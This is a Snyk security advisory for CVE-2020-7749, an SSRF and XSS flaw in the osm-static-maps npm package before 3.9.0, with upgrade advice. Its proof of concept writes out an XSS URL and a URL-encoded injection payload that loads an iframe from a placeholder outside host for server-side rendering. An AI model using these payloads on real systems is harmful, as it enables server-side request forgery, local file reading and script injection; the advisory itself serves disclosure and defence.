Server-side Request Forgery (SSRF) Affecting osm-static-maps package, versions <3.9.0


Severity

Recommended
0.0
high
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

EPSS
0.16% (54th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Server-side Request Forgery (SSRF) vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-JS-OSMSTATICMAPS-609637
  • published19 Oct 2020
  • disclosed3 Sept 2020
  • creditVasilii Ermilov

Introduced: 3 Sep 2020

CVE-2020-7749  (opens in a new tab)
CWE-918  (opens in a new tab)
First added by Snyk

How to fix?

Upgrade osm-static-maps to version 3.9.0 or higher.

Overview

osm-static-maps is a Create a static image of a map with the features you want

Affected versions of this package are vulnerable to Server-side Request Forgery (SSRF). User input given to the package is passed directly to a template without escaping ({{{ ... }}}). As such, it is possible for an attacker to inject arbitrary HTML/JS code and depending on the context.

It will be outputted as an HTML on the page which gives opportunity for XSS or rendered on the server (puppeteer) which also gives opportunity for SSRF and Local File Read.

PoC

git clone https://github.com/jperelli/osm-static-maps.git
cd osm-static-maps
npm install
npm run start

XSS Example http://localhost:3000/dynamic?tileserverUrl=%27%2Balert(1)%2B%27

SSRF Payload http://localhost:3000/?tileserverUrl=%27%29%3Bfor%28var%20i%20%3D%200%3B%20i%3C99999%3B%20i%2B%2B%29%7B1%2B1%7D%3C%2Fscript%3E%3Ciframe%20style%3D%22position%3A%20absolute%3B%20top%3A%200%3B%22%20src%3D%22http%3A%2F%2Fput.your.link.here%2F%22%20width%3D%221000%22%20height%3D%221000%22%20frameborder%3D%220%22%3E%3Cscript%3E%2F%2A

CVSS Scores

version 3.1